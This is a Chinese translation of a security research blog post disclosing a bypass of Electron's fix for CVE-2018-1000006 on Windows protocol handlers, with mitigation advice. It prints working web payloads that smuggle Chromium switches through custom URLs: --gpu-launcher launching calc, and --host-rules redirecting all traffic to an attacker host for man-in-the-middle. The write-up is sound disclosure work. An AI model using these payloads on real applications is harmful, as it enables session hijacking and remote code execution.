Electron Windows协议处理程序MITM/RCE漏洞(CVE-2018-1000006修复绕过)

本文详细分析了Electron Windows协议处理程序漏洞CVE-2018-1000006的修复绕过,揭示了攻击者如何利用host-rules标志实现中间人攻击和远程代码执行,并提供了防护建议。

Electron Windows协议处理程序MITM/RCE(CVE-2018-1000006修复绕过)

2018年5月24日 - 作者:Luca Carettoni

在一次客户 engagement 中,我们分析了最近Electron Windows协议处理程序RCE漏洞(CVE-2018-1000006)的补丁,并识别出一个绕过方法。在特定情况下,此绕过会导致会话劫持和远程代码执行。漏洞仅需通过浏览器访问网页即可触发。受影响的是那些设计在Windows上运行、注册自己为默认协议处理程序且未在注册表项中前置双破折号的Electron应用。

我们于2018年5月14日向Electron核心团队(通过security@electronjs.org)报告了此问题,并立即收到通知称他们已在开发补丁。Google的Nicolas Ruff也在几天前报告了此问题。

CVE-2018-1000006

2018年1月22日,Electron发布了针对v1.7.11、v1.6.16和v1.8.2-beta4的补丁,修复了一个关键漏洞CVE-2018-1000006(令人惊讶的是没有花哨的名称),该漏洞影响在Windows上运行并注册自定义协议处理程序的基于Electron的应用程序。

原始问题在许多博客文章中广泛讨论,可以总结为:能够从远程网页使用自定义协议处理程序(例如myapp://)来搭载命令行参数,并插入一个新的开关,Electron/Chromium/Node会在启动应用程序时识别并执行。

1
2
3
<script>
win.location = 'myapp://foobar" --gpu-launcher="cmd c/ start calc" --foobar='
</script>

有趣的是,2018年1月31日,Electron发布了v1.7.12、v1.6.17和v1.8.2-beta5。事实证明,初始补丁未考虑大写字符,导致先前补丁被绕过:

1
2
3
<script>
win.location = 'myapp://foobar" --GPU-launcher="cmd c/ start calc" --foobar='
</script>

理解补丁

CVE-2018-1000006的补丁在electron/atom/app/command_line_args.cc中实现,包含一个验证机制,确保用户无法在URL(特定协议处理程序)后包含Electron/Chromium/Node参数。请注意,某些本地执行的应用程序确实需要传递自定义参数的能力。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
bool CheckCommandLineArguments(int argc, base::CommandLine::CharType** argv) {
  DCHECK(std::is_sorted(std::begin(kBlacklist), std::end(kBlacklist),
                        [](const char* a, const char* b) {
                          return base::StringPiece(a) < base::StringPiece(b);
                        }))
      << "The kBlacklist must be in sorted order";
  DCHECK(std::binary_search(std::begin(kBlacklist), std::end(kBlacklist),
                            base::StringPiece("inspect")))
      << "Remember to add Node command line flags to kBlacklist";

  const base::CommandLine::StringType dashdash(2, '-');
  bool block_blacklisted_args = false;
  for (int i = 0; i < argc; ++i) {
    if (argv[i] == dashdash)
      break;
    if (block_blacklisted_args) {
      if (IsBlacklistedArg(argv[i]))
        return false;
    } else if (IsUrlArg(argv[i])) {
      block_blacklisted_args = true;
    }
  }
  return true;
}

正如常见情况,基于黑名单的验证在复杂执行环境如Electron中容易出错和遗漏:

  • 补丁依赖于可用Chromium标志的静态黑名单。在每次libchromiumcontent更新时,Electron团队必须记得更新command_line_args.cc文件,以确保黑名单与当前Chromium/v8实现保持一致。
  • 黑名单使用二分搜索实现。如果标志未正确排序,有效标志可能会被检查遗漏。

绕过和安全影响

我们开始寻找遗漏的标志,并注意到host-rules不在黑名单中。使用此标志,可以指定一组规则来重写libchromiumcontent发出请求的域名。这立即成为一个颠覆过程的好候选。

事实上,攻击者可以利用此问题覆盖主机定义,以执行完全透明的中间人攻击:

1
2
3
4
<!doctype html>
<script>
 window.location = 'skype://user?userinfo" --host-rules="MAP * evil.doyensec.com" --foobar='
</script>

当用户在浏览器中访问包含上述代码的网页时,Skype应用将被启动,所有Chromium流量将被转发到evil.doyensec.com而不是原始域名。由于连接是到攻击者控制的主机,证书验证无济于事,如下视频所示:

(您的浏览器不支持视频标签。)

我们分析了此漏洞对流行基于Electron的应用的影响,并开发了针对MITM和RCE攻击的工作概念证明。虽然直接影响是攻击者可以获取机密数据(例如OAuth令牌),但此问题也可被滥用以注入包含XSS -> RCE负载的恶意HTML响应。启用nodeIntegration时,这只需利用Node的API即可实现。当遇到通过nodeIntegration: false或sandbox的应用沙箱时,有必要将此与其他漏洞(例如nodeIntegration绕过或IPC滥用)链式利用。

请注意,仅可能拦截由Chromium生成的流量,而不是Node。因此,Electron的更新功能以及其他关键功能不受此漏洞影响。

未来

2018年5月16日,Electron发布了新更新,包含针对v2.0.1、v1.8.7和v1.7.15的改进版黑名单。团队正在积极开发更具弹性的解决方案以防止进一步绕过。考虑到API更改可能会破坏现有应用,将此安全改进包含在主要版本中是合理的。

在此期间,建议Electron应用开发者在setAsDefaultProtocolClient中强制执行双破折号表示法:

1
2
3
4
app.setAsDefaultProtocolClient(protocol, process.execPath, [
  '--your-switches-here',
  '--'
])

或在Windows协议处理程序注册表项中。

最后,我们想感谢整个Electron团队在转向安全默认框架方面的工作。Electron贡献者肩负着关闭Web原生桌面差距的非平凡使命。现代浏览器正在实施众多安全机制,以确保站点之间的隔离,促进Web安全保护,并防止不受信任的远程内容破坏主机的安全。在使用Electron时,事情变得更加复杂。

@ikkisoft @day6reak

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计